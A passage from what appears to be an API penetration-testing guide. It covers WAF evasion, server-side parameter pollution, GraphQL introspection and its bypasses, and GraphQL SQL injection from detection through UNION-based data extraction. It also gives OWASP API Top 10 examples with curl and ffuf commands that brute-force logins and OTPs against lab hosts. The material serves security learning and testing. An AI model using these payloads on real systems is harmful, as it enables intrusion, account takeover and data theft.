If you don't know the target's OS, use two payload positions: one for the command separator, followed by a second for the OS command itself.

#### String Terminators

Null bytes and similar symbol combinations are often interpreted as string terminators. If not filtered, they can terminate an API's security filters. A processed null byte can signal many backend languages to stop processing further input — bypassing validation that occurs afterward.

Potential string terminators:

```bash
%00
0x00
//
;
%
!
?
[]
%5B%5D
%09
%0a
%0b
%0c
%0e
```

These can be placed in various parts of a request (path, POST body) to bypass restrictions. Example:

```bash
POST /api/v1/user/profile/update
[…]

{
  "uname": "hapihacker",
  "pass": "%00'OR 1=1"
}
```

Here, the null byte before the SQL injection attempt might bypass input validation.

#### Case Switching

Some security controls key off the literal spelling and case of request components — making case switching an effective bypass technique.

Example targeting a `uid` parameter for an IDOR attack via rate-limited brute force:

```bash
POST /api/myprofile
[…]
{uid=§0001§}
```

If rate-limiting allows only 100 requests/minute, but you need 10,000 to brute-force the full `uid` range, try switching the case of the URL path:

```bash
POST /api/myProfile
POST /api/MyProfile
POST /aPi/MypRoFiLe
```

Each variation may be handled differently by the provider, potentially bypassing rate limits entirely — or resetting them with a fresh quota. If rate-limiting is bypassed entirely, send as many requests as needed with the case switched. If it's just renewed per case variant, use Burp Suite's **Pitchfork** attack to pair a set number of attempts to each case variant:

```bash
POST /api/myprofile   paired with uid 001–100
POST /api/Myprofile   paired with uid 101–200
POST /api/mYprofile   paired with uid 201–300
```

In Burp Intruder, set the attack type to **Pitchfork** and use the same value for both payload positions minimizing the number of requests needed to brute-force the `uid`.

#### Encoding Payloads (WAF Evasion)

Encoded payloads can trick WAFs while still being processed correctly by the target application or database. Even if a WAF blocks certain characters or strings, it might miss their encoded equivalents. You can also try double-encoding.

**Example:** Suppose the provider decodes incoming requests only once.

```bash
URL Encoded Payload:        %27%20%4f%52%20%31%3d%31%3b
API Provider URL Decoder:   ' OR 1=1;
```

A WAF detects this obvious SQL injection and blocks it.

```
Double URL Encoded Payload: %25%32%37%25%32%30%25%34%66%25%35%32%25%32%30%25%33%31%25%33%64%25%33%31%25%33%62
API Provider URL Decoder:   %27%20%4f%52%20%31%3d%31%3b
```

This may slip past a poorly written WAF rule, only to be decoded and interpreted correctly by the backend afterward.

**Payload Processing with Burp Suite**

Once you find a successful WAF bypass method, automate it in Intruder. Under **Payload Processing**, add rules applied to each payload before sending — such as prefixes, suffixes, encoding, hashing, and custom input, plus match-and-replace rules.

If you found that adding a null byte before and after a URL-encoded payload bypasses a WAF, you'd need your entire wordlist processed to match. You could edit the wordlist directly or add processing rules. Burp applies rules top-to-bottom, so if you don't want null bytes to be encoded, encode the payload first, then add the null bytes afterward.

**Evasion with Wfuzz**

Wfuzz also supports payload processing — see the [advanced docs](https://wfuzz.readthedocs.io/) for details.

To see all available encoders:

```bash
wfuzz -e encoders
```

Sample encoders:

| Category | Name          | Summary                                                                                      |
| -------- | ------------- | -------------------------------------------------------------------------------------------- |
| hashes   | base64        | Encodes the given string using base64                                                        |
| url      | urlencode     | Replaces special characters using `%xx` escapes; letters, digits, and `_.-` are never quoted |
| default  | random\_upper | Replaces random characters with capital letters                                              |
| hashes   | md5           | Applies an MD5 hash to the given string                                                      |
| default  | none          | Returns all characters unchanged                                                             |
| default  | hexlify       | Converts every byte to its two-digit hex representation                                      |

To use an encoder, append a comma and the encoder name:

```bash
wfuzz -z file,wordlist/api/common.txt,base64
```

Every payload will be base64-encoded before being sent.

You can also chain multiple encoders with a hyphen:

```bash
wfuzz -z list,TEST,base64-md5-none
```

More: <https://github.com/0xInfection/Awesome-WAF>

***

### Server-Side Parameter Pollution

Some systems contain internal APIs that aren't directly accessible from the internet. Server-side parameter pollution occurs when a website embeds user input into a server-side request to an internal API without adequate encoding potentially letting an attacker:

* Override existing parameters.
* Modify application behavior.
* Access unauthorized data.

You can test any user input for parameter pollution query parameters, form fields, headers, and URL path parameters may all be vulnerable. This is sometimes called **HTTP parameter pollution**, though that term also refers to a separate WAF-bypass technique here we specifically mean **server-side** parameter pollution.

#### Testing in the Query String

Place query syntax characters like **`#`**, **`&`**, and **`=`** in your input and observe the application's response.

Example: a search feature makes this browser request:

```bash
GET /userSearch?name=peter&back=/home
```

Which triggers this internal API request:

```bash
GET /users/search?name=peter&publicProfile=true
```

Always URL-encode the `#` character otherwise the front-end will treat it as a fragment identifier and it won't reach the internal API.

Check whether the response indicates truncation. If it returns user `peter`, the server-side query may have been truncated. An `Invalid name` error suggests the value wasn't truncated and was treated as part of the username.

If you can truncate the request, this may remove the requirement for `publicProfile=true` potentially exposing non-public profiles.

**Injecting Invalid Parameters**

Use a URL-encoded `&` to try adding a second parameter:

```bash
GET /userSearch?name=peter%26foo=xyz&back=/home
```

Resulting internal request:

```bash
GET /users/search?name=peter&foo=xyz&publicProfile=true
```

If the response is unchanged, the parameter may have been injected but ignored. Test further to build a complete picture.

**Injecting Valid Parameters**

If you've identified a valid parameter like `email`, try adding it:

```bash
GET /userSearch?name=peter%26email=foo&back=/home
```

Resulting internal request:

```bash
GET /users/search?name=peter&email=foo&publicProfile=true
```

Review the response to understand how the parameter is parsed.

**Overriding Existing Parameters**

Confirm the vulnerability by injecting a duplicate parameter name:

```
GET /userSearch?name=peter%26name=carlos&back=/home
```

Resulting internal request:

```
GET /users/search?name=peter&name=carlos&publicProfile=true
```

The impact depends on how the backend handles duplicate parameters:

* **PHP** parses the last parameter only → search for `carlos`.
* **ASP.NET** combines both → search for `peter,carlos` (likely an "Invalid username" error).
* **Node.js/Express** parses the first parameter only → search for `peter` (unchanged result).

Reference wordlist:&#x20;

{% embed url="<https://github.com/antichown/burp-payloads/blob/master/Server-side%20variable%20names.pay>" %}

#### Testing in REST Paths

A RESTful API may place parameters directly in the URL path rather than the query string:

* `/api` **=>** root API endpoint
* `/users` ***=>*** resource
* `/123`  ***⇒*** parameter (identifier for a specific user)

Example: editing a profile via:

```bash
GET /edit_profile.php?name=peter
```

Triggers the internal request:

```bash
GET /api/private/users/peter
```

Test by injecting path traversal sequences. Submit URL-encoded `peter/../admin` as the `name` value:

```bash
GET /edit_profile.php?name=peter%2f..%2fadmin
```

Which may result in:

```bash
GET /api/private/users/peter/../admin
```

If the backend normalizes this path, it may resolve to `/api/private/users/admin`.

#### Testing in Structured Data Formats (JSON/XML)

An attacker may manipulate parameters to exploit how the server processes JSON or XML. Example: editing a profile sends:

```bash
POST /myaccount
name=peter
```

Which triggers:

```bash
PATCH /users/7312/update
{"name":"peter"}
```

Attempt to inject an `access_level` parameter:

```bash
POST /myaccount
name=peter","access_level":"administrator
```

If user input is inserted into the server-side JSON without validation, this becomes:

```bash
PATCH /users/7312/update
{"name":"peter","access_level":"administrator"}
```

This could grant `peter` administrator access.

Burp includes automated tools to help detect server-side parameter pollution. This example uses JSON, but the same concept applies to any structured format (see the XInclude/XXE topic for an XML-based example). The **Backslash Powered Scanner** BApp can also help identify server-side injection vulnerabilities, classifying inputs as boring, interesting, or vulnerable investigate "interesting" inputs manually using the techniques above.

#### Preventing Server-Side Parameter Pollution

Use an allowlist to define characters that don't need encoding, and ensure all other user input is encoded before being included in a server-side request. Validate that all input matches the expected format and structure.

***

### GraphQL Security Testing

GraphQL has a large attack surface and its own distinct testing methodology, covered in depth below.

#### What Is GraphQL?

[GraphQL](https://graphql.org/) is a query language typically used by web APIs as an alternative to REST. It's designed to facilitate efficient client-server communication by letting the client specify exactly what data it wants avoiding the large response objects and multiple round trips sometimes seen with REST APIs.

GraphQL APIs are typically implemented on a single endpoint that handles all queries. GraphQL services define a contract for client-server communication: the client doesn't need to know where data resides — it sends queries to a GraphQL server, which fetches data from the relevant sources. Because GraphQL is platform-agnostic, it can be implemented in many programming languages and can communicate with virtually any data store.

#### How GraphQL Works

GraphQL schemas define the structure of a service's data — listing available objects (called **types**), fields, and relationships. Data can be manipulated using three operation types:

* **Queries** ***=>*** fetch data.
* **Mutations** ***=>*** add, change, or remove data.
* **Subscriptions** ***=>*** similar to queries, but maintain a permanent connection through which the server can proactively push data to the client.

All GraphQL operations use the same endpoint and are generally sent as `POST` requests a significant departure from REST, which uses operation-specific endpoints across multiple HTTP methods. In GraphQL, the operation's type and name determine how it's handled, not the endpoint or HTTP method. Responses are generally JSON objects structured as requested.

<figure><img src="/files/fRYw9mJPemCPVjfMbhO5" alt=""><figcaption></figcaption></figure>

#### GraphQL Schema

The schema is a contract between frontend and backend, defining available data as a series of types via a human-readable schema definition language. These types can then be implemented by a service.

Most defined types are **object types**, describing available objects and their fields/arguments. Each field has its own type another object, or a scalar, enum, union, interface, or custom type.

Example schema for a `Product` type (`!` means the field is non-nullable/mandatory):

```graphql
# Example schema definition

type Product {
    id: ID!
    name: String!
    description: String!
    price: Int
}
```

Schemas must include at least one query, and usually details of available mutations too.

#### GraphQL Queries

Queries retrieve data from the data store roughly equivalent to `GET` requests in REST. Key components:

* A **`query`** operation type ***=>*** technically optional, but recommended, as it explicitly signals a query.
* A query name ***=>*** optional but encouraged, since it aids debugging.
* A data structure describing what should be returned.
* Optionally, one or more arguments ***=>*** used to scope the query to a specific object.

Example:

```graphql
# Example query

query myGetProductQuery {
    getProduct(id: 123) {
        name
        description
    }
}
```

The product type may have more fields in the schema than requested here — the ability to request only what you need is central to GraphQL's flexibility.

#### GraphQL Mutations

<figure><img src="/files/wpRCr4Vde9fRfQ3vTV8l" alt=""><figcaption></figcaption></figure>

Mutations change data adding, deleting, or editing it. They're roughly equivalent to REST's **`POST`**, **`PUT`**, and **`DELETE`** methods. Like queries, mutations have an operation type, name, and return structure but they always take an input, either inline or (more commonly) as a variable.

Example mutation to create a product (with server-assigned ID):

```graphql
# Example mutation request

mutation {
    createProduct(name: "Flamin' Cocktail Glasses", listed: "yes") {
        id
        name
        listed
    }
}
```

```graphql
# Example mutation response

{
    "data": {
        "createProduct": {
            "id": 123,
            "name": "Flamin' Cocktail Glasses",
            "listed": "yes"
        }
    }
}
```

#### Components of Queries and Mutations

**Fields**

All GraphQL types contain queryable data items called fields. When sending a query or mutation, you specify which fields you want returned, and the response mirrors what you requested.

```graphql
# Request

query myGetEmployeeQuery {
    getEmployees {
        id
        name {
            firstname
            lastname
        }
    }
}
```

```graphql
# Response

{
    "data": {
        "getEmployees": [
            {
                "id": 1,
                "name": {
                    "firstname": "Carlos",
                    "lastname": "Montoya"
                }
            },
            {
                "id": 2,
                "name": {
                    "firstname": "Peter",
                    "lastname": "Wiener"
                }
            }
        ]
    }
}
```

**Arguments**

Arguments are values provided for specific fields, defined by the schema for each type. The server determines its response based on the arguments and its own configuration — for example, returning one specific object rather than all objects.

```graphql
# Example query with arguments

query myGetEmployeeQuery {
    getEmployees(id: 1) {
        name {
            firstname
            lastname
        }
    }
}
```

```graphql
# Response

{
    "data": {
        "getEmployees": [
            {
                "name": {
                    "firstname": "Carlos",
                    "lastname": "Montoya"
                }
            }
        ]
    }
}
```

{% hint style="info" %}
⚠️ If user-supplied arguments are used to access objects directly, the GraphQL API can be vulnerable to access-control issues such as IDOR.
{% endhint %}

**Variables**

Variables let you pass dynamic arguments rather than hardcoding them into the query string. Variable-based queries use the same structure as inline-argument queries, but certain values come from a separate JSON-based variables dictionary  enabling structure reuse across multiple queries with only the variable value changing.

To use variables:

1. Declare the variable and its type.
2. Reference the variable name in the appropriate place in the query.
3. Pass the variable key/value in the variables dictionary.

```graphql
# Example query with variable

query getEmployeeWithVariable($id: ID!) {
    getEmployees(id: $id) {
        name {
            firstname
            lastname
        }
    }
}

Variables:
{
    "id": 1
}
```

Here, `$id: ID!` declares a required variable, `id: $id` uses it as an argument, and its value is set in the JSON variables dictionary.

#### Introspection

**Introspection** lets you query a GraphQL schema for information about its own capabilities powering GraphQL IDEs and documentation tools.

Introspection is a serious information disclosure risk: it can expose sensitive details (like field descriptions) and help an attacker learn how to interact with the API. Best practice is to disable introspection in production — though this isn't always followed.

**Query all supported types:**

```graphql
{
  __schema {
    types {
      name
    }
  }
}
```

Results include default types (`Int`, `Boolean`) as well as custom types (e.g., `UserObject`).

**Query a specific type's fields:**

```graphql
{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}
```

**Query all supported queries:**

```graphql
{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}
```

#### Finding GraphQL Endpoints

Before testing a GraphQL API, you need to find its endpoint. Since GraphQL uses a single endpoint for all requests, this is valuable information.

**Universal Queries**

Sending `query{__typename}` to any GraphQL endpoint returns `{"data": {"__typename": "query"}}` somewhere in the response. This works because every GraphQL endpoint has a reserved `__typename` field returning the queried object's type as a string — making it a great probe for identifying GraphQL services.

**Common Endpoint Names**

Try sending universal queries to:

```
/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql
```

If none respond as GraphQL, try appending `/v1` to the path.

#### Discovering Schema Information via Introspection

Query the `__schema` field (available on the root type of all queries) to discover schema info.

More: <https://portswigger.net/burp/documentation/desktop/testing-workflow/working-with-graphql#accessing-graphql-api-schemas-using-introspection>

Best practice is to disable introspection in production, but this isn't always followed. Probe with:

```graphql
{
    "query": "{__schema{queryType{name}}}"
}
```

If introspection is enabled, this returns the names of all available queries. Burp Scanner can automatically test for introspection and reports a "GraphQL introspection enabled" issue if found.

**Running a Full Introspection Query**

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            description
            args {
                ...InputValue
            }
            onOperation  # Often needs to be deleted to run query
            onFragment   # Often needs to be deleted to run query
            onField      # Often needs to be deleted to run query
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}
```

If introspection is enabled but this query fails, try removing the `onOperation`, `onFragment`, and `onField` directives — many endpoints reject these as part of an introspection query, and removing them often improves success.

**Visualizing Introspection Results**

Introspection responses can be long and hard to process. Use a GraphQL visualizer an online tool that converts introspection results into a visual representation of schema relationships.

{% embed url="<https://apis.guru/graphql-voyager/>" %}

#### Rebuilding the Schema When Introspection Is Disabled

A disabled introspection endpoint is a speed bump, not a wall. GraphQL servers with field suggestions enabled will happily correct you  *"Cannot query field 'pasword' … Did you mean 'password'?"* leaking field names one guess at a time.

**Clairvoyance** automates exactly this, reconstructing a partial schema from suggestion responses:

```bash
pip install clairvoyance
clairvoyance https://target.tld/graphql -o schema.json -w wordlist.txt
# Feed the rebuilt schema.json into InQL to generate operations
```

Reference:&#x20;

{% embed url="<https://securitycipher.com/2026/07/13/hacking-graphql-apis-2026/>" %}

**Suggestions** are a feature of the Apollo GraphQL platform where the server suggests query corrections in error messages typically when a query is slightly incorrect but still recognizable (e.g., *"There is no entry for 'productInfo'. Did you mean 'productInformation' instead?"*). Clairvoyance uses these suggestions to automatically recover all or part of a schema even when introspection is fully disabled, significantly speeding up the process versus manual piecing-together.

Additional resources:

* **graphql-wordlist**: <https://github.com/Escape-Technologies/graphql-wordlist>
* **GraphQL APIs from a bug hunter's perspective (Nikita Stupin)**: <https://www.youtube.com/watch?v=nPB8o0cSnvM>

#### Bypassing GraphQL Introspection Defenses

If introspection queries won't run, try inserting a special character after the `__schema` keyword. Developers sometimes use a regex to block the `__schema` keyword in queries — try characters like spaces, newlines, and commas, since GraphQL ignores them but a flawed regex may not.

If only `__schema{` is excluded, this query bypasses it:

```graphql
# Introspection query with newline

{
    "query": "query{__schema
    {queryType{name}}}"
}
```

If that doesn't work, try an alternative request method — introspection may only be disabled over `POST`. Try `GET`, or `POST` with a `x-www-form-urlencoded` content type.

#### Bypassing Rate Limiting Using Aliases

Normally, GraphQL objects can't contain multiple properties with the same name. **Aliases** let you bypass this by explicitly naming the properties you want returned useful for returning multiple instances of the same object type in one request.

While intended to reduce the number of API calls, aliases can also be used to brute-force a GraphQL endpoint. Many endpoints rate-limit based on the number of HTTP *requests* rather than the number of *operations* performed. Since aliases let you send multiple queries in a single HTTP message, they can bypass this restriction.

Example checking multiple discount codes in a single request to potentially bypass rate limiting:

```graphql
# Request with aliased queries

query isValidDiscount($code: Int) {
    isValidDiscount(code: $code) {
        valid
    }
    isValidDiscount2: isValidDiscount(code: $code) {
        valid
    }
    isValidDiscount3: isValidDiscount(code: $code) {
        valid
    }
}
```

#### GraphQL-Based CSRF

Cross-Site Request Forgery (CSRF) lets an attacker induce users to unintentionally perform actions, via a malicious site that forges a cross-domain request to the vulnerable application.

GraphQL can be a CSRF vector: an attacker crafts an exploit that causes a victim's browser to send a malicious query as that victim. This arises when a GraphQL endpoint doesn't validate the content type of incoming requests and lacks CSRF tokens.

`POST` requests with `Content-Type: application/json` are secure against forgery as long as the content type is validated a browser can't be made to send this exact request type even if the victim visits a malicious site. However, alternative methods like `GET`, or requests with `x-www-form-urlencoded` content type, *can* be sent by a browser leaving users vulnerable if the endpoint accepts them.

#### SQL Injection in GraphQL

**Error-Based Detection**

```graphql
query {
  user(username: "'") {
    username
  }
}
```

```graphql
query {
  user(username: "admin'") {
    username
  }
}
```

Look for SQL syntax errors, database error messages, stack traces, or unusual behavior.

**Comment Testing**

```graphql
# MySQL comments
query {
  user(username: "admin'-- -") { username }
  user(username: "admin'#") { username }
  user(username: "admin'/*") { username }
}

# PostgreSQL comments
query {
  user(username: "admin'--") { username }
  user(username: "admin';--") { username }
}

# SQL Server comments
query {
  user(username: "admin'--") { username }
  user(username: "admin'/*") { username }
}
```

**Boolean-Based Detection**

```graphql
# True condition
query {
  user(username: "admin' AND 1=1-- -") {
    username
  }
}

# False condition
query {
  user(username: "admin' AND 1=2-- -") {
    username
  }
}

# Compare responses - if different, SQL injection confirmed!
```

**Time-Based Detection**

```graphql
# MySQL
query {
  user(username: "admin' AND SLEEP(5)-- -") {
    username
  }
}

# PostgreSQL
query {
  user(username: "admin' AND pg_sleep(5)-- -") {
    username
  }
}

# SQL Server
query {
  user(username: "admin' WAITFOR DELAY '0:0:5'-- -") {
    username
  }
}

# If the response takes 5+ seconds, SQL injection is confirmed!
```

**Database Fingerprinting — Identify Database Type**

```graphql
query {
  user(username: "' UNION SELECT 1,2,@@version,4,5,6-- -") {
    username
  }
}
```

**Counting Columns**

```graphql
query {
  user(username: "admin' ORDER BY 1-- -") {
    username
  }
}
```

Or using UNION:

```graphql
query {
  user(username: "admin' UNION SELECT 1-- -") {
    username
  }
}
```

**Database Enumeration**

```graphql
# MySQL
query {
  user(username: "' UNION SELECT 1,2,database(),4,5,6-- -") {
    username
  }
}
```

**Enumerate Tables**

```graphql
# MySQL - all tables
query {
  user(username: "' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}

# MySQL - with LIMIT (if GROUP_CONCAT fails)
query {
  user(username: "' UNION SELECT 1,2,table_name,4,5,6 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -") {
    username
  }
}
```

<figure><img src="/files/DW5WUx2BWU72rGIeO75E" alt=""><figcaption></figcaption></figure>

**Find Interesting Tables, Then Enumerate Columns**

```graphql
query {
  user(username: "' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM information_schema.columns WHERE table_name='flag'-- -") {
    username
  }
}
```

**Check Column Data Types**

```graphql
# Get column details
query {
  user(username: "' UNION SELECT 1,2,CONCAT(column_name, ':', data_type),4,5,6 FROM information_schema.columns WHERE table_name='flag'-- -") {
    username
  }
}
```

**Data Extraction**

```graphql
# Get all data from an interesting table
query {
  user(username: "' UNION SELECT 1,2,flag,4,5,6 FROM flag-- -") {
    username
    password
    role
    msg
  }
}

# Get multiple columns
query {
  user(username: "' UNION SELECT 1,2,CONCAT(id, ':', flag),4,5,6 FROM flag-- -") {
    username
  }
}

# Get all rows
query {
  user(username: "' UNION SELECT 1,2,GROUP_CONCAT(CONCAT(id, ':', flag)),4,5,6 FROM flag-- -") {
    username
  }
}
```

#### PortSwigger Lab Techniques (GraphQL)

* Accessing private GraphQL posts.
* Accidental exposure of private GraphQL fields.
* **Finding a hidden GraphQL endpoint:**

```graphql
GET /api?query=query{__typename} HTTP/2
```

If introspection is disallowed, modify the query to include a newline character after `__schema` and resend: `__schema%0a+`

* Bypassing GraphQL brute-force protections (using aliases).
* Performing CSRF exploits over GraphQL.

**Handy tool:** [GraphiQL Chrome Extension](https://chromewebstore.google.com/detail/graphiql-extension/jhbedfdjpmemmbghfecnaeeiokonjclb?hl=en)

#### Preventing GraphQL Attacks

* If your API isn't intended for public use, disable introspection. This makes it harder for attackers to learn how the API works and reduces information disclosure risk. See: <https://portswigger.net/web-security/graphql>
* If your API is intended for public use, you'll likely need to leave introspection enabled — but review the schema to ensure it doesn't expose unintended fields.
* Disable suggestions to prevent tools like Clairvoyance from reconstructing your schema. In Apollo Server v4+, use the `hideSchemaDetailsFromClientErrors` option (see relevant GitHub threads for earlier versions).
* Ensure the schema doesn't expose private user fields such as email addresses or user IDs.

**Preventing GraphQL CSRF specifically:**

* Only accept queries over JSON-encoded `POST`.
* Validate that content matches the supplied `Content-Type`.
* Implement a secure CSRF token mechanism.

***

### OWASP API Security Top 10 (2023)

| Risk                                                        | Description                                                                                                             |
| ----------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| API1:2023 – Broken Object Level Authorization               | The API allows authenticated users to access data they aren't authorized to view.                                       |
| API2:2023 – Broken Authentication                           | Authentication mechanisms can be bypassed or circumvented, allowing unauthorized access.                                |
| API3:2023 – Broken Object Property Level Authorization      | The API reveals sensitive data to authorized users beyond their scope, or permits manipulation of sensitive properties. |
| API4:2023 – Unrestricted Resource Consumption               | The API doesn't limit the resources users can consume.                                                                  |
| API5:2023 – Broken Function Level Authorization             | The API allows unauthorized users to perform authorized operations.                                                     |
| API6:2023 – Unrestricted Access to Sensitive Business Flows | The API exposes sensitive business flows, leading to potential financial losses and other damage.                       |
| API7:2023 – Server Side Request Forgery                     | The API doesn't adequately validate requests, allowing attackers to send malicious requests to internal resources.      |
| API8:2023 – Security Misconfiguration                       | The API suffers from misconfigurations, including vulnerabilities leading to injection attacks.                         |
| API9:2023 – Improper Inventory Management                   | The API doesn't properly and securely manage version inventory.                                                         |
| API10:2023 – Unsafe Consumption of APIs                     | The API consumes another API unsafely, introducing potential security risks.                                            |

### OWASP API Top 10 (2023) \</> Practical Examples

#### API1 ***=>*** Broken Object Level Authorization

```bash
for ((i=1; i<=200; i++)); do
curl -s -X 'GET' \
  "http://154.57.164.77:31439/api/v1/suppliers/quarterly-reports/$i" \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer <TOKEN>' | jq .
done
```

#### API2 ***=>*** Broken User Authentication

Brute-forcing login credentials:

```bash
ffuf -w xato-net-10-million-passwords-10000.txt:PASS -w customerEmails.txt:EMAIL \
  -u http://94.237.59.63:31874/api/v1/authentication/customers/sign-in \
  -X POST -H "Content-Type: application/json" \
  -d '{"Email": "EMAIL", "Password": "PASS"}' \
  -fr "Invalid Credentials" -t 100
```

If the email is known, brute-force the OTP:

```bash
ffuf -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt \
  -u 'http://154.57.164.79:30636/api/v1/authentication/customers/passwords/resets' \
  -H 'accept: application/json' -H 'Content-Type: application/json' \
  -d '{"Email":"MasonJenkins@ymail.com","OTP": "FUZZ","NewPassword": "Admin@123123"}' \
  -fr "false"

7454   [Status: 200, Size: 22, Words: 1, Lines: 1, Duration: 143ms]
```

Confirm with the found OTP:

```bash
curl -X 'POST' \
  'http://154.57.164.79:30636/api/v1/authentication/customers/passwords/resets' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
  "Email": "MasonJenkins@ymail.com",
  "OTP": "7454",
  "NewPassword": "Admin@123123"
}'

{"SuccessStatus":true}
```

#### API3 ***=>*** Broken Object Property Level Authorization

This category covers two subclasses: **Excessive Data Exposure** and **Mass Assignment**.

An endpoint is vulnerable to Excessive Data Exposure if it reveals sensitive data to authorized users that they shouldn't be able to access. An endpoint is vulnerable to Mass Assignment if it lets authorized users manipulate sensitive object properties beyond their scope modifying, adding, or deleting values.

```bash
curl -X PATCH http://localhost:8091/profile \
  -H "Authorization: Bearer <customer_token>" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "Employee"
}'
```

#### API4 ***=>*** Unrestricted Resource Consumption

File upload/download is a fundamental feature for example, e-commerce suppliers uploading product images, and users viewing/downloading them.

An API is vulnerable if it fails to limit resource-consuming requests (network bandwidth, CPU, memory, storage). Without effective rate-limiting, users can exploit this and cause financial damage.

If an endpoint doesn't validate file size, the backend will save files of any size and without rate-limiting, repeated upload requests can cause a denial-of-service by exhausting disk storage, resulting in financial losses. Also test whether the endpoint restricts file types beyond the expected format (e.g., attempting to upload a `.exe` where only PDFs should be allowed).

```bash
for i in {1..100}; do
  echo "Request $i"
  curl -s -X POST \
    "http://154.57.164.64:31197/api/v1/authentication/customers/passwords/resets/sms-otps" \
    -H "accept: application/json" \
    -H "Content-Type: application/json" \
    -d '{
      "Email":"string"
    }'
  echo
done
```

#### API5 ***=>*** Broken Function Level Authorization

An API is vulnerable to BFLA if it allows unauthorized or unprivileged users to interact with privileged endpoints, granting access to sensitive operations or confidential information. The key difference from BOLA: in BOLA, the user *is* authorized to interact with the endpoint (but accesses the wrong object); in BFLA, the user isn't authorized to invoke the endpoint at all.

**Example:** After signing in as a customer via `/api/v1/authentication/customer/sign-in` and obtaining a JWT, hunt for endpoints that require authorization but still allow unauthorized users through. The endpoint `/api/v1/products/discounts` retrieves all product discounts but requires the `ProductDiscounts_GetAll` role.

**Prevention:** Enforce authorization checks at the source-code level to ensure only users with `ProductDiscounts_GetAll` can access this endpoint — verifying roles before processing the request.

#### API6 ***=>*** Unrestricted Access to Sensitive Business Flows

If a web API exposes operations or data that let users abuse the system — e.g., buying goods at a discounted price — it's vulnerable to Unrestricted Access to Sensitive Business Flows.

```bash
curl -X 'GET' \
  'http://154.57.164.75:30868/api/v1/customers/billing-addresses' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer <TOKEN>' | jq .
```

#### API7 ***=>*** Server-Side Request Forgery (SSRF)

Also known as Cross-Site Port Attack (XPSA), this occurs when an API uses user-controlled input to fetch remote or local resources without validation — letting an attacker coerce the app into sending crafted requests to unexpected (especially local/internal) destinations, bypassing firewalls or VPNs.

#### API8 ***=>*** Security Misconfiguration

APIs are susceptible to the same misconfigurations as traditional web apps. A common example: an endpoint that incorporates user input into SQL queries without validation, enabling injection attacks.

```bash
curl -X 'GET' \
  'http://154.57.164.66:30894/api/v1/products/laptop%27%20OR%201%3D1%20--/count' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer <TOKEN>'
```

APIs can also be misconfigured through improper HTTP security response headers — for example, a poorly configured `Access-Control-Allow-Origin` (CORS) policy can expose the API to CSRF risk.

#### API9 ***=>*** Improper Inventory Management

Maintaining accurate, up-to-date documentation is essential, especially given APIs' reliance on third-party consumers who need to understand how to interact with them.

As an API matures, proper versioning practices are crucial to avoid security pitfalls. Improper inventory management — including inadequate versioning — can introduce misconfigurations and expand the attack surface, such as outdated or incompatible API versions remaining accessible as unauthorized entry points.

#### API10 ***=>*** Unsafe Consumption of APIs

APIs frequently interact with other APIs, forming a complex, interconnected ecosystem. This enhances functionality but introduces risk if not managed properly. Developers may blindly trust data from third-party APIs — especially from reputable organizations — leading to relaxed input validation and sanitization.

Critical risks arising from API-to-API communication:

1. **Insecure Data Transmission** ***=>*** unencrypted channels expose sensitive data to interception.
2. **Inadequate Data Validation&#x20;*****=>*** failing to validate/sanitize external data before processing or forwarding can lead to injection attacks, data corruption, or remote code execution.
3. **Weak Authentication** ***=>*** neglecting robust authentication for inter-API communication can lead to unauthorized access.
4. **Insufficient Rate-Limiting** ***=>*** one API can overwhelm another with continuous requests, causing denial-of-service.
5. **Inadequate Monitoring** ***=>*** insufficient monitoring of API-to-API interactions makes it harder to detect and respond to incidents promptly.

***

### Tools & Tradecraft

#### Kiterunner

Kiterunner, released by Assetnote, is currently one of the best tools for discovering API endpoints and resources. Unlike directory brute-force tools (Gobuster, Dirbuster) that rely on standard `GET` requests, Kiterunner uses all common API HTTP methods (`GET`, `POST`, `PUT`, `DELETE`) and mimics realistic API path structures for example, trying `POST /api/v1/user/create` instead of just `GET /api/v1/user/create`.

**Installation:**

```bash
sudo apt install golang
git clone https://github.com/assetnote/kiterunner.git
cd kiterunner
make build
sudo mv dist/kr /usr/local/bin/
kr -h
```

**Choosing a wordlist:**

```bash
wget https://wordlists-cdn.assetnote.io/data/kiterunner/routes-large.kite
```

**Scanning:**

```bash
kr scan -w routes-large.kite https://api.target.com
```

Quick scan against a URL or IP:

```bash
kr scan HTTP://127.0.0.1 -w ~/api/wordlists/data/kiterunner/routes-large.kite
```

**Using authentication headers:**

```bash
kr scan -w routes-large.kite https://api.target.com -H "Authorization: Bearer YOUR_ACCESS_TOKEN"
```

**Using a plain text wordlist instead of `.kite`:**

```bash
kr brute <target> -w ~/api/wordlists/data/automated/nameofwordlist.txt
```

**Fuzzing different HTTP methods** (default is `GET`):

```bash
kr scan -w routes-large.kite https://api.target.com -m POST
```

For multiple targets, save a line-separated list as a text file and use it as input. Supported line formats:

```bash
Test.com
Test2.com:443
http://test3.com
http://test4.com
http://test5.com:8888/api
```

#### mitmproxy2swagger

